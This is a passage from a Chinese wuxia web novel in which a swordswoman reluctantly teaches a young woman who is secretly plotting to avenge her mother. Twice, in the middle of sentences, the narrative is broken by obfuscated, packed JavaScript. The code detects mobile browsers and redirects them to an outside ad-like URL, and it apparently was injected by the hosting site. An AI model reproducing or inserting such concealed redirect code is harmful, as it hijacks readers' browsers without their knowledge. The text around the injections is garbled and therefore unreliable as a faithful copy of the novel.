什么叫做“留了很多钱”?程芙心头一紧,问道:“你娘呢?” 继而便有一种名为无措的情绪,迅速遍布了方撷真的脸,她的笑意僵硬地敛干净,眼睫扑闪: “她过世了。一年前就过世了。” 倘若程芙观人眼色的本领奏效了,那么方撷真脸上,应当还有另一样的情绪。 这情绪唤作愧疚。 4. 蜉蝣(4) 太昌二十年。 如果没有遇见刺客,急急地逃出骆都城,方撷真恐怕这辈子都不知道母亲还会骑马。 她当然是惊讶又骄傲,她娘居然会骑马,还骑得又快又稳! 这惊讶与骄傲,在萌生出的刹那,便被她诚挚地传达给了母亲方虹。 方虹听了,沉默良久:“等我们离骆都远了,安全下来,我就教你骑马。” “好啊!”方撷真一口答应,骑在马背上的滋味很是新鲜,既有高速前行的快感,也有随时都能坠落的恐惧。 方虹却兴奋不起来,她脸上就只有无情拍打的冷风,心里则只有后悔。 原来带着方撷真离开水月谷,隐姓埋名过了十六年,还是会被找上门来。从此以后,那群人怕是要像鬼魅的影子,永远缠着她们母女了。 方虹是不敢回水月谷质问的,她不了解那地方的形势,不敢拿自己的命和女儿的命赌。 所以,她想到的唯有逃命一条路。 “真儿,你想学武功吗?” “武功?” 方虹肠子都快要悔青,这么多年,她为何不教女儿习武呢?哪怕只教出自己的六七成本事也好啊。 “娘,你……到底是什么人啊?”方撷真怀揣着满腹的不解,将心里话问出来。 方虹温声道:“慢慢地我再告诉你。你要记住,远离任何手腕有弦月印记的人。” 方撷真搜刮着每一寸记忆,忽忆起母亲手腕上,就有火烧和刀刻的痕迹。 她曾经问过,方虹只说那是年轻时想不开才留的伤,如今再想,倒更像是在掩盖什么。 方撷真被养得天真,却不蠢,轻易就能将所有的事联系到一起:“娘,你和刺客……都有吗?” 聪敏机灵的头脑无疑是活命的极大助力,方虹竟欣慰地笑了笑:“许多事,日后你都会知晓的。” 方撷真没说话,听这意思,以后就要过亡命天涯的日子了。 她还是喜欢骆都城里的岁月,母女俩做点儿小生意,虽非大富大贵,却幸福快乐。 见她久久不言,方虹不禁悬了心:“你是不是害怕?不用怕,我们往东走,东边安全。” “我只是困了……”方撷真才十六岁,没见过大风大浪,哪有不怕的道理。她不愿意让方虹难做,遂撒了谎。 “困就睡吧。”方虹信以为真,且感到圈着自己腰肢的手臂加重了力量,“你一天到晚,就是瞌睡多。” 母亲的脊背很暖,方撷真坐在摇摇晃晃的马上,半分困劲儿都没有。她的眼睛泉眼似的汩汩冒着水,到最后哭声也漏出来,才惹得方虹心惊胆战问了一句: “真儿,你在哭?” 方撷真嗓子里呜呜咽咽,答不成话,可是方虹不敢停,她们已经耽误了一个晚上,若叫水月谷发现她们的行踪,那便不妙了。 “不要哭。”方虹硬着头皮往马屁股上抽了一鞭,“娘会保护你,你没什么好害怕的。” 方撷真只能使劲儿点头,晃得自己脑袋都发晕,泪水乱淌。 她相信方虹能保护她,因为她从小到大,几乎没吃过什么苦头。 家里虽不富裕,但也不贫苦,她一天肚子都没饿过,从来都是吃饱穿暖,更没有地痞流氓或顽劣的孩子来欺负她。她喜欢骆都城,因为她在那里过得最安稳。 方撷真这甚少吃苦的命,到了危急关头,竟不埋怨劳累,跟着方虹学了一套简单的防身术。 之后数年,方撷真便追随方虹一路逃,一路学武。 她早过了学武的最佳年纪,故而学得不快,方虹有时着急了,稍微训斥她一两句,她也能忍,甚至反过来安慰方虹。 事情的转机在太昌二十三年冬天。 这一年方撷真十九岁,她已随着母亲离开骆都三年了,母女俩在殷国的某个边陲小镇暂居,本以为能过段安稳时日,却不想还是被找上门来。 方虹本就不再年轻,又常年疏于习武,在应战时力不从心,受了重伤。 她幸运地活下来,却在伤愈后,改变了想法:“真儿,我们回去。” 方撷真不懂她的意思。 方虹细细算来,当今世上愿意保护方撷真的人除了自己,恐怕只有水月谷里的那个人: “我带你找你亲娘。” * “节哀。” 得知方撷真的母亲去世,程芙如世俗所有听闻丧讯的人一样,说了这么两个字。 她和方撷真不熟,不好仔细问,唯恐无端挑起别人的伤心事,因而她便无从晓得方撷真的愧疚从何而来。 木屋的窗户开了条细缝,冷风拼着命往屋中挤,割红了方撷真的眼睛,她垂眸,轻声哽咽道:“都怪我……” “你娘一定不希望你这么伤心。”程芙又像大部分世人那样安慰方撷真,她顿了顿,又道,“我的双亲也都过世了,我理解你。” 呼呼—— 话音未落,风便骤然狂躁起来,吹开了一整扇窗。 方撷真在这风声里静默许久,终于艰难地从伤怀里抽身,扬手捏了捏鼻尖,颤声道:“我没事。我娘若还在,见到我自责地哭鼻子,肯定心疼我。” 说罢,方撷真吸吸鼻子,笑得甚是难看:“程姐姐,你饿不饿?我烤两只兔子,我们一起吃啊。” 木屋不大,只有一间屋,没有细致的空间划分,生活起居都在这块小小的地里。临窗的架子上串着鱼肉兔肉,全都是生的,所幸是冬天,不怕坏。 程芙其实是想走的,可她为方撷真泛红的眸子犹豫,若此时扬长而去,是否太不合适了? 她头疼得紧,属实不知如何解决棘手的人际问题。 半晌,程芙在方撷真炽热的目光里妥协了:“好吧。” * 母亲去世后,方撷真已经习惯独自生活。 她利落地将兔子烤上,依然笑得难看:“很快就能吃了。留仙原冬天也能抓到兔子,我是抓兔子的好手呢。” 程芙接不了“抓兔子”的话,她有更关心的问题:“你为何一个人住到扈县来了?陈年旧事,都解决了吗?” 木屋里的陈设器具,只够一人居住,因此她断定方撷真是独居。 方撷真低着头,看似是在凝视火架上的兔子:“都解决了。我娘死了,我不想回骆都,只能住到别处。” 关于“方撷真是水月谷谷主之女”一事,程芙都是猜测,没有真切地求证过。 倘若她猜得对,水月谷为何会追杀自己的少谷主呢?莫非发追杀令的人不是谷主本人吗? 方撷真有没有和谷主见过面?若是见过,她为何不被留下?若是没有见过,难道方虹也没有将身世告诉她…… 疑问太多了,程芙自己犯疑心病,没必要将别人也拉进她问题的漩涡里,于是她只说道:“都会好起来的。” 方撷真睫羽颤了颤,抬头望她,眼底有什么东西在涌动。 像是天上云卷的倒影透过窗落进来,又像烤着兔子的火,一晃一晃,一摇一摇。 两人居然达成了一种诡异的默契,都将头低着,都在簌簌风声里若有所思。 不过她们思索的东西截然不同,程芙在想待会儿找什么借口离开,方撷真则—— “哎,今日我还没有练剑。” 程芙一怔,就看着方撷真跑到置物架边,取下一柄剑来。 这木屋实在是小,东西更是稀少,仅一桌一床一柜一架,再加上一处勉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159924|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强能称作灶台的东西,便占去了大半空间。 置物架挨着门放,是以程芙一进门,便瞅见了那两柄剑。 两柄剑,一新一旧。 新剑从材料到工艺平平无奇,像是外头铺子里买来的;旧剑则高出一个档次,却疏于保养,剑鞘都不亮了。 “程姐姐,我该练剑了。”方撷真道。 语气僵硬,神色慌张,手指握着剑活像在抓救命稻草,紧得很——程芙瞅出方撷真拙劣的演技,也能猜到为何会有这出戏。 木屋里没有别人,因此这出戏,必是方撷真演给她一人看的。 可惜了,程芙没打算接戏,竟寒声道:“外头冷。” 言下之意,便是方撷真不必到外头去练剑给她看,而这狭小的木屋施展不开拳脚,更不可能一展剑法。 方撷真明显怔忡了下,似乎有些焦急:“我、我们逃命那几年,我娘教了我几招,可我练得不好……” 程芙继续缄默地听她说。 这女人也太镇定自若了,一点有用的反应都不给,方撷真咬紧银牙,头皮一阵阵地发麻:“程姐姐……你能不能教我武功啊?” “你?”程芙瞳孔微颤。 平日里,让她指点指点山庄里的同门倒还好,几句话就成,不费事,旁人也都清楚她的性子,不会频频地向她请教。 但是教方撷真没有那么容易。 程芙并不将方撷真当成一个普通的女郎来看。 水月谷再碌碌平庸,也能在江湖上立足,名声口碑都不差。而且血脉斩不断,若方撷真来日回到水月谷,要么是少谷主,要么继任新任谷主,再不济,也能混个护法、长老之类的职务,绝不会是普通人。 澄意山庄的剑庐主管,与水月谷少谷主是师徒,听起来是否太滑稽了些? 程芙不会私自为师门增添新的人脉关系,更不愿意为自己添。 再者,她马上便要离开了。 “我不收徒。”程芙直截了当地拒绝了眼前真诚的女郎。 方撷真的面色迅速垮下去,瞧起来真是可怜:“可是我很好学,脑子很聪明,什么东西都一学就会,而且我还有基础。我怕以后有人欺负我,我没法子还手……” 再可怜也没用,程芙不吃这一套:“抱歉。我还没有出师,不合适收徒。” 她的态度可以说是相当温和了,可温和并非温柔,眼神是淡漠的,唇角是没有笑意的,称不上冰冷不屑,却也没有更多的希望给予方撷真。 方撷真不死心:“哪怕只有一招也好,我能练得很好的。我不做你的徒儿,你也不必以老师的名义教我,我们做朋友、拜姐妹,你以姐姐的身份、朋友的身份来教我,好不好?” 放在膝盖上的指尖动了动,程芙凤眸轻眯,她对方撷真了解得太少,仅晓得名姓和一两件人生经历,如何谈做姐姐、做老师? “你是不是怕我笨?那我比划几招给你看看!” 方撷真颇为倔强,大踏步地挪了挪,即刻就要出招。 “不必了。” 程芙冷不丁出声打断她。 “为何执念于学武?” “莫非是想给谁报仇吗?” 话音才落,方撷真眼底便掀起异样,晦暗幽深,宛若搅起了滔天巨浪的汪洋。 她本能地瑟缩了下面部肌肉,乐呵呵道:“程姐姐说什么呢?我娘死于意外,我没有仇人,谈何报仇?” “你在撒谎。”程芙握紧的拳头松开了,她也没想到自己一猜便中,“我教会你剑法,你却用来杀人报仇,这不行。” 她很确信,自己有拒绝方撷真的权力,可是方撷真,却在这一次波澜清浅的交锋里败下阵,灰心失望地哽咽了两声。 5. 蜉蝣(5) 方虹死在水月谷,盛春时节,杜鹃花开得正好。 母亲死了,方撷真不愿留在那儿,可她连母亲的尸首都没能保住,瘫在地上哭嚎的时候,谷主武红英已命人拖走了方虹还温热着的身体。 之后,方撷真在坟堆、乱葬岗找了一天一夜,最终一无所获,她便死了心,费尽心思寻机逃离水月谷。 她恨自己出生的地方,若水月谷不像影子似的跟在身后,她和方虹原本可以在骆都生活得幸福快乐。 ……绝不能让方虹白白死了。 方撷真誓必要为母报仇,然而等她跑远了、冷静了,她才意识到自己犯了多大的蠢——杀武红英和武绿华最好的时机,是什么时候? 是她还没有逃离水月谷的时候啊。 倘若没有逃,她本可以痛哭一场,再慢慢获取武家姐妹的信任,趁其不备,暗下杀手。可惜这机会已经没有了,既然跑了,就不能再回去,弄不好只会引人起疑。 方撷真要另想办法。 她首先得变强大,其次便是要寻得助力。 向民间普通的武馆求学,不知要学到何年何月;投身江湖门派,她也试过,却在初试时便被刷了下来。 方撷真四处打听,终于找到距扈县五十里之遥的血刃峰。 血刃峰立身江湖,却臭名昭著,方撷真只一开口,云峰主便愿意为方撷真解忧——杀人嘛,作恶嘛,有些人正是以此为乐。 然而血刃峰有一个条件。 他们不愿意帮助一个要为母报仇的正直女郎,却很乐意滋养出一个心肠歹毒的恶人。 只要方撷真在留仙原上杀满十个无辜的人,血刃峰便能动手,为她解除烦恼。 * 兔子烤好了,香喷喷的,方撷真知道哪块肉最嫩,便分给了程芙:“姐姐快吃吧。” 程芙轻嗯了一声,拒绝方撷真学武的请求后,木屋里便静悄悄的,无人说话。 她因此得到了片刻的清净,可是耳根清净,不代表心里清净。 程芙做不到不去想过去的事,她犹记得方虹颤巍巍向她行抱拳礼,动作生疏、眼神慌乱的模样。 ——那女人毅然带女儿逃命,女儿活下来了,她却死了。 随年纪渐长,程芙已知人命最经不起摧折,却又最经得起摧折。 死的人轻易就能死,活着的人历经万险也要求生。 “谢谢。”程芙咬了一口兔子肉,的确非常美味,炙烤得恰到好处,多一分就嫌老。 方撷真静心打量身边的剑客,眸光沉沉。 她与血刃峰的约定至今未能履行,十个人,实在太难杀。正面打单独斗,她肯定不是程芙的对手,下毒或是偷袭…… 她做不出这等下三滥的事,取恩人性命,她会一辈子良心不安的。 方撷真摸摸心口,还跳着,还温热着,她的良心还在胸腔里头,她由此松下半口气,温声道:“姐姐不如明日再进城,外头起大风了,待会儿怕是有大雪。” 抬头一看,窗外果真如方撷真所说,无尽的浓云自天际线席卷而来,好似滚滚波涛。 留仙原广袤无垠,一旦迷路,弄不好便要冻死,溺毙于风雪中,天也快要黑了,属实没有必要在风雪夜赶路。 “恐怕不方便。”程芙面露犹疑,非要推拒一番才能安心。 “怎会?我那张床,够两个人睡。你睡床头,我睡床尾。” 方撷真真心希望程芙可以留下,她在留仙原过了许多个孤独的夜,真想有人陪她一晚:“你只管睡,我们两个人是朋友啊,何来‘不方便’一说?” 程芙手指微蜷,指尖不慎划过兔子烤焦的表皮。 她拜入师门后,便没有尝过字面意义上的孤单。但她天性不喜欢热闹,能称得上“朋友”的人少之又少……所以方撷真便这般轻易地做了她的朋友? 她可还没有同意。 方撷真倒没有察觉程芙的心思,两个人一同经历过险境,一起烤兔子吃,她在程芙面前掉过眼泪,程芙也安慰过她,今晚她们还要一个睡床头一个睡床尾——这当然叫做“朋友”。 她和骆都城里的旧友们就是这样亲,喜怒哀乐都不隐瞒,有了好东西便分着吃,到别人家留宿也是有的,原本不亲近的人两个人只要做了这些事,自然而然便能亲近。 风声簌簌,吹得木屋的门咿呀呀响,程芙冲天色做了权衡,如今之计,只有和方撷真共度一晚。 “谢谢。”程芙又咬了一口兔子肉,“我留下来过夜。” 如此便好,方撷真莞尔笑道:“不用谢不用谢——哎呀,茶喝完了,我再烧一壶来!” 她的话很多,因为太久没有和人聊过这么久,所有的大事小事新鲜事,都被她滔滔不绝地吐出。 至于程芙,当然是极不自在,方撷真太活泼太聒噪,和她某位交好的师妹幼时极像。好在她是敷衍塞责的高手,轻易糊弄过方撷真的热情。 慢慢地,方撷真察觉了端倪,对程芙的性情有了个大概体会,话少寡言、不爱笑,于是她便不再说那些又紧又密的话了,否则搞得程芙不舒服,对她自己也没有好处。 冬日天黑得总是快,雪原上的夜晚实在无乐可作,太阳溜下地平线后,两人洗漱过,便在床上睡去。 程芙睡在内侧,面朝着墙,她仍是不愿多和方撷真说话。 可惜方撷真有话要问她:“程姐姐,我还不知道你的名字。你都知道我的名字,我怎能不知道你的?” 是这个理,世俗往往认为,交友应当坦诚,最起码不能叫别人只知道姓。 程芙答道:“芙蓉花的芙。” “你的名字真好听。”方撷真笑了笑,“听说,我的名字是我娘给我取的。” 亲娘还是养娘?程芙往天花板睨了眼,这问题的答案,恐怕方撷真也不清楚吧:“我困了。” “好,我不说话了。”方撷真拉紧被角,眼睛眨了眨。 原来雪原上的夜这么吵,到处都是风声,吹得人昏昏欲睡,酣然入梦。 在梦里,程芙重温了前尘旧事,她六岁走丢,四处辗转数年,九岁时被澄意山庄收养。 那时她还没有拜师,却希望能被庄主收为徒女,可庄主摸摸她的脑袋,低头说道:“我这辈子,只收一个徒儿就够了,抱歉。” 后来程芙想了想,周庄主或许是觉得她天赋不够,才只要了裴雁晚。 程芙在剑术上的天赋的确不出挑,天才练一遍便能娴熟,她却要练七八遍。 这又没事,辛苦一些就是了,即便做不成最好的那一个,也得有中上游水平吧? 梦很短,约莫一个多时辰后,程芙寒浸浸地醒转,眼前蒙着混沌的黑影。 她睡懵了。 天色已深,唯有桌案上留了盏灯。 身边不见方撷真的影子,可这小木屋几乎一览无遗,人能去哪儿? 程芙放心不下,当即披衣穿鞋起了身,往窗边探—— 方撷真竟在屋前练剑。 雪夜月明,剑气迟缓。 程芙未打扰她,只静心揣摩她的招式。 是水月谷的路数,程芙曾在论剑大会上见过水月谷徒子出招,故而晓得。 方撷真学得并不深,这些招式,在对阵三流之辈时自保尚可,与一二流高手过招,便不好说了。 只见她持剑一转,不偏不倚与程芙对上目光。 “啊!”像是做坏事被人发现,方撷真连忙收了剑,解释道,“我、我在练剑,外头没下雪了,还有月亮……我就练会儿剑。” “我知道。”程芙为她的慌乱感到好笑,“我影响到你了?” 方撷真摇头:“没有打扰到我。我是怕我练得不好,招人笑话。” 程芙警惕地蹙眉。 不出她所料,方撷真小跑到窗边,隔着窗与她交谈起来。 年轻的女郎低眉垂眸,神情黯然又可怜:“阿芙,你为何不教我啊?我不复仇,我不杀人,我只想保护自己。” 程芙一言不发,将这女郎好生打量。 时间改变一个人的速度,是很快的,能在短短数日,就将意气风发的少年变得颓废,也能一日之间,便捧人入云端。 那么方撷真的变化是什么? 程芙未曾详细地窥见方撷真过去的面貌性情,也就无从回答这个问题了,她仅在对方脸上读出哀伤与恳求、孤独与希冀。 “程姐姐,我一个人在外头,孤苦无依。” 方撷为程芙的沉默心慌,徐徐挤出僵硬苦涩的笑:“……我虽不知姐姐师出各派,可我见你英姿飒爽、气度不 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程芙面色稍僵,她意识到自己身上微妙的傲慢和高高在上,当初摆在她面前的路,是通往百年名门的康庄大道啊。 “我说错话了。”程芙快步走出屋子,将落在方撷真身上的月光遮去更多,“抱歉。” “我不生你的气。”方撷真用力阖眸,又迅速地睁开,眼眶酸涩得很,“你是我朋友,我永远不和你生气。” 还从未有人和程芙说类似的话,她脊背上酥酥麻麻的,仿佛水蛇游走:“人活着,就有生气的时候。” “嗯,也对。”方撷真怔忡了下,慢慢抬起一根手指来,“那、那我生一柱香时间的气?” 程芙:“……” 她禁不住轻笑一声。 头一次听到她的笑声,真是新鲜,方撷真也跟着,傻乎乎地笑。 迎着刀子似的夜风,程芙将面皮上的涟漪拂去,落在方撷真掌心:“你的剑练得不错。是什么时候开始学的?” “五年前。”方撷真不自觉上前半步,“逃命路上,我娘陆陆续续教我剑法、轻功,教我识人观相,怕我受人欺负,怕我被人蒙骗。” 方虹想得周到,日后女儿遇见歹人,打不过就用轻功逃跑,但她想得太晚太晚了,早错过了方撷真习武的最佳时机。 “原来如此。”程芙真的只是问问,没有旁的意思,“我看你练剑,发觉你很有天赋,至少,比我好。可惜开蒙晚,浪费了光阴。” 方撷真讶异地眨眨眼,唇角微挑:“我?阿芙被风吹懵了,我的天赋和你比不了吧。” 兴许是冬夜的雪原真的太冷,程芙必须要侧一侧身子,才能不被吹僵脸庞。 身一转,月光便极巧合地避她而去:“别人练剑,我也练剑,别人睡觉,我还在练剑。若我松懈懒怠,只会每次比试都由别人赢去。” 程芙小时候,是很想赢的。 直到她在上一届论剑大会上夺魁,她都是很想赢的。 苦苦磨练一件事,必定是心有执念,寒窗苦读是位金榜题名,十年磨剑是为终得至宝,一个剑客日夜辛勤,方撷真便只能想到一件事: “程姐姐,你这么肯吃苦,将来一定会是天下第一的剑客的!” 程芙瞳孔一凛。 风好冷,却没有吹得她清醒,甚至适得其反,让她看不清前路了。 她师娘说过,或许她是世上最有天赋的铸剑师,即便如此,程芙也有铸不出剑的时候。 第一次,是因未登上争夺庄主继任人的擂台,没能为自己争取,她黯然神伤、懊悔不已。 第二次,战胜所有人,拿下论剑大会的魁首,她如至云端,却也没了目标。 失意、得意,落寞、红火,都能令程芙晃眼,便好似雪夜天幕上圆滚滚的玉盘只与她一寸之遥。 程芙闭了闭眼,欲回身进屋。 她声音很低,不知在和谁说话: “可是人为什么非要做天下第一?” “我曾经对人说我会打败她,做天下第一,所以我一辈子都要追逐此事吗?” “我也不知道我将来会做什么事,会成为什么人。” “……都随便吧。” 6. 蜉蝣(6) 方撷真眼眶边上洒了点儿银辉,是今夜的月光眷顾上她。 “没关系啊,有些人的路,本就是看不清的!” 她箭步冲上前,拦住程芙的去路。 方撷真肺腑热得厉害,好似有千万股气来回冲撞,她想也不想,脱口而出:“只要人活着,不就够了吗!” 她睫羽间蕴着点点光亮,说不清是碎雪还是眼泪。 程芙凝眸,她遇到过的人太多了,浑浑噩噩、胸无大志的人并非没有,只不过在她长大的环境里,大多数都是自幼笃定了志向的人。 那么她那可以贯穿一生,而非只坚持一程的志向,在何方呢? 程芙至今没有看清问题的答案,却将方撷真的神色看清了,倔强又固执,好像还有点儿怒意。她移开眸子,屏住气。 “……阿芙?” 方撷真尝试着唤朋友的名字。 程芙嗯了一声,以表自己没有出神,可她平静如水的神色,真像是跳出了天地,不在五行之中了: “你的话……我并不算完全认可。” 有人认为命最重要,有人认为道义或理想最要紧,而程芙是第三种人,她不晓得什么最重要。 可她晓得,她可以试着接纳新朋友了。 被失望淹没的方撷真低下头,口鼻里好似倒灌进腥咸海水,难受得紧。 “但是,如果你要学剑。” 方撷真下意识地抬头。 只见程芙立在木屋门口,身子隔开一明一暗两个世界,亮的地方是月下雪原,她绷紧的脸松弛下来,轻声启唇:“……首先你要有一把属于你自己的、称手的剑。” 方撷真没听懂似的,数次出声都未能成功,直至第五次,她才挤出尖细声线:“真的?!我有剑,我有剑,手里就是,我娘买给我的!” 她最殷切希望的事在今晚有了回应,以后她不必再辛辛苦苦攒钱拜师了,身边就有现成的老师能教她! “有剑就好。” 程芙照旧按既定的轨迹往屋里走,轻盈迅速,需要大步追着,才能跟上:“一切都明日再说吧,先睡觉。” 最后一缕足音消失在雪地中,方撷真却不急着进屋,反而是缓缓后退两步,站在雪地里抹了两把泪。 太好了,只要程芙能教她武功,她便不必遵守和血刃峰的约定,到时候,她靠自己的本领就能复仇,没必要湮灭良心…… 她忽然本能地咽了咽唾沫,心虚感海浪似的从心底涌出,止不住,更消不下。 昔年被程芙所救,是亏欠的第一件事,不能坦诚相待、从朋友身上擢取私利,是亏欠的第二件事——方撷真摸摸自己脸庞,凉得惊人。 她没有办法,她只能先欠着。 * 翌日,趁雪原还被月的清辉笼罩着,方撷真便轻手轻脚起了身,再三确认程芙睡得很熟后,策马往留仙原边界上去。 扈县县城外人来人往,官道附近由百姓开设茶摊酒馆,供行人驻足歇息。此时虽不到开张的时辰,茶摊的草棚里却已有人在等。 这就是昨夜传信给方撷真,令她辗转难眠,只好起身练剑的人,白色衣裳,发束银带,身上搁一把七弦琴。 见到此人,方撷真仍是发怵,因为是她有求于对方,又在实力上逊色对方许多倍,对方想要杀死她,如同掐死蝼蚁。 “小琴魔……” 方撷真唤这人的江湖称号。 小琴魔名姓不详,背地里或许有个名字,却没有往外流传。 她的义父血刃峰峰主人称“琴魔”,而她继承了义父的本领,因此江湖中称她为“小琴魔”。 小琴魔早听见了方撷真的动静,她并不回眸,只发动内力,凭空推开板凳,邀方撷真落座。 “想好了吗?虽说君子报仇十年不晚,但你娘死得冤枉,你真要等十年不成?”小琴魔倒是开门见山。 方撷真双手握拳,放在桌下:“杀十个人,我做不到。都是人命。” “万事开头难。” 小琴魔对方撷真的慷慨懦弱不以为然,甚至还很不屑:“你杀十个人,血刃峰自会帮你杀掉武氏姐妹,再助你登临谷主之位。事后,你将《水月秘典》交予我即可。” 这桩交易谁都有付出,谁都不白白得到酬劳。 方撷真原想断了交易,因为她找到了不必滥杀无辜也能报仇的法子。 有程芙做指望,她的忧虑减轻不少。 日后程芙要走,她黏上去便是,办法总比难处多。 方撷真道:“我心里有数。” 小琴魔还以为是什么数,根本料不到方撷真有了新退路。 她翩然起身,抱起她最心爱的琴,嗓音空灵如鬼魅:“切莫一拖再拖,别忘了最后期限。” * 程芙做了个好梦。 醒来时,屋里的一切都有人招架了,热水烧好了,炉子边煨着烤饼和白水,窗缝也留出透气的余地。 她往灶台的方向扫了一眼,台案上都是新鲜碧绿的青菜,还挂着晶莹水珠,一看便知是才从城里买回来的。 朝窗外一睨,方撷真果然又在练剑。 这么勤劳的人,哪怕起步晚,有朝一日也能练出名堂来。 程芙不紧不慢地收拾好内务,推门而出:“早。” “阿芙,早。”方撷真并不知程芙醒了,毫无准备,故而她脸上的肌肉明显抖了抖,眸中慌乱未消。 “你不舒服?”程芙捕捉到新朋友的异常。 “没睡好而已。”方撷真已经是说谎的二流高手了,“我一早就进城买了菜和烤饼,等我们吃完早饭,你便开始教我,好吗?” 程芙道:“我想先看看你的底子。你娘教了你多少?你一招招做给我看。” 方撷真依了她的话,毫无保留地展示出所学。 冰雪消融的广袤原野上,她扬起手臂,剑尖直指天边金轮,刺、挑、劈——招式不算精妙,比不上澄意山庄所创的剑法。这倒情有可原,水月谷最引以为傲的是机关术和秘术,不在剑法上多下心思。 对于此,程芙昨晚已经有所领会,今早借着阳光再做进一步的确认。 “怎么样?”方撷真演示完了,拘谨地挺起背,“我娘说,我学得挺好的。” 程芙近些年在江湖中逐有“谋剑”之称,大抵是赞她胸有谋略、眼明如鹰,出剑时每一次眨眼都是洞察、每一次挥腕都是谋划。 待她随着年龄渐长慢慢积累经验,再过二三十年,她的眼睛不知会敏锐到何种地步:“尚可。” 方撷真松了一口气:“你说‘尚可’,那必定是真的不错。” 程芙心里有分寸,不会真地将门派绝学传授给外人,但她并不敷衍,而是相当认真地在方撷真的底子上慢慢拓展路数。 等教学结束,方撷真的水平起码能上一个台阶。 往后三日,程芙就住在小木屋里,看雪原上的最后一抔雪化尽,看方撷真一次次地将剑挥起来。 再过不久便是春天,届时,留仙原便是绿盈盈的一片了。 程芙会在春日来临前回云州,将新交到朋友的事告知白霓裳,以表自己完成了师娘给的任务。 远游真是劳累,日后她必得直起腰杆,和白霓裳争一争,不要再命她频频远行,剑庐里的事都忙不完,哪有心思顾外头。 又两日过去,艳阳明媚,程芙在太阳初生时进了扈县县城,采买草料和食材。 她厨艺平平,只能说饿不死,方撷真却很擅长烹饪,且掌握的菜色甚是丰富。因此两人住在一起时,全都是方撷真来做饭,她则买菜、打打下手,总不能每天都叫方撷真一个人忙。 “鲫鱼、莲藕,还有几样青菜。”程芙将买好的菜放上灶台,“你瞧瞧,应该够了。” 方撷真便去扒拉袋子,满意地笑道:“我来煮鱼汤喝。这还是我娘教的,从前我和她就轮着做饭,今天我做,明天她做。” 程芙没说话,她尝试着回忆自己的母亲,多可惜,实在很难从记忆深处找出半分记忆。 据阿婆所说,世上已经没有人长得像母亲了,阿婆不像、阿公不像,她这唯一的女儿更是不像。 她微微垂眸,抄起草料到外头喂马去了。 方撷真从缸里舀了水来择菜:“阿芙,你仅是江湖散人吗?你的老师是谁?” “不方便说。”程芙一向不喜欢自报家门。 方撷真闷着声,掐断一截芹菜杆:“我们是朋友,你却连这个都不告诉我。” 她晓得程芙的性子,沉默寡言,半天憋不出一句话,可是两个人都是朋友了,为何不能交个实底? 程芙却道:“方撷真,你没有秘密吗?” 方撷真呼吸一滞。 “留着秘密不说,人和人相处得反而舒服。”程芙不愿进屋直面方撷,她太不擅长深入的对话,便一根草料一根草料地喂马,极尽耐心。 方撷真指尖掐进了芹菜杆,绿色的汁水缓缓漫入指缝,她竟浑然不觉。 半晌,她勉强出了声:“阿芙,你离开扈县的时候,能带上我吗?我想和你学一辈子的剑。” “不方便。” “什么都不方便?” 方撷真凄凄地笑:“阿芙,你好像没有把我当朋友。” 什么是朋友,不同的人当有不同的见解,程芙并不认可方撷真的话,她清晰嗅到友人的难过失落,再三思忖,终于放下草料进了屋。 方撷真弯腰坐在板凳上择菜,头扎得很低,脚边几根芹菜全被掐断,可怜得很。 她不为程芙的脚步声回头,只垂着脸问:“我没有亲人了,骆都的朋友与我有千里之遥,阿芙,你就是我最亲的朋友。” 程芙眸光颤了颤。 她为身份的蓦然升高而惶恐,“最亲的朋友”几个字份量太重,她不是怕自己担不起,而是在她心里,方撷真只不过是萍水相逢的普通友人。 两个人在彼此心中的位置,并不对等。 程芙不想惹方撷真难过,更不想辜负。 偏偏她无可奈何,一个人在另一个人心里有多少份量,本就不能强求,不是她说一句“你也是我最亲的朋友”,方撷真就真的是。 她走上前去,弯下腰,双掌撑在膝盖上,好更近地和方撷真对视:“若我不当你是朋友,便不教你,也不在木屋里住了。” 方撷真咬唇:“你一走,我岂非又是一个人。我连写信都不知要写给谁,你的出身、师门、你住在哪儿,我都一无所知。” ……好生难缠。 程芙是当真头痛了,她唯有暂且撇开话题:“我们到留仙原上骑马吧。” “骑马?”方撷真眉心轻动,将程芙的提议当成一种逃避。 “骑马。”程芙却将此事当作转圜的手段。 方撷真忽有些看不上程芙的做派了,是便说是,不是便说不是,拧巴什么呢? 她道:“你不用特意哄我,你不把我当真心朋友也不要紧,我不生气的。” 程芙默然,她觉得多说也是无用,索性先直起腰,态度往低处落:“你若非要追问,不如用你的秘密来交换。五年前为何有刺客追杀你,你和你娘经历了什么,她是如何死的,你敢一一交代清楚吗?” 才语罢,方撷真竟一脚踢翻凳子,猛地站起来。 程芙退得及时,未被她剧烈的起身动作波及。她像审视一柄锋芒锐利的宝剑,来审视方撷真的脸。 暴怒的、慌乱的、心虚的…… 这数种情绪是如何同时出现的? 程芙捉摸不透,索性不再继续琢磨,她有了对抗疑心病的经验,更有逃脱和逃避的经验。 “你的剑已经学得很好,”程芙平静道,“轻功也够用,不遇见高手便无大碍。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159926|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方撷真陡然慌了神:“阿芙?” “我在木屋里住了五日,多谢你。不如我们就此别过。”语罢,程芙径直将桌上的剑挂至腰间,她的东西不多,三两下就收拾妥当。 她不适合和方撷真做朋友,她要走了。 “不行不行,阿芙对不起!” 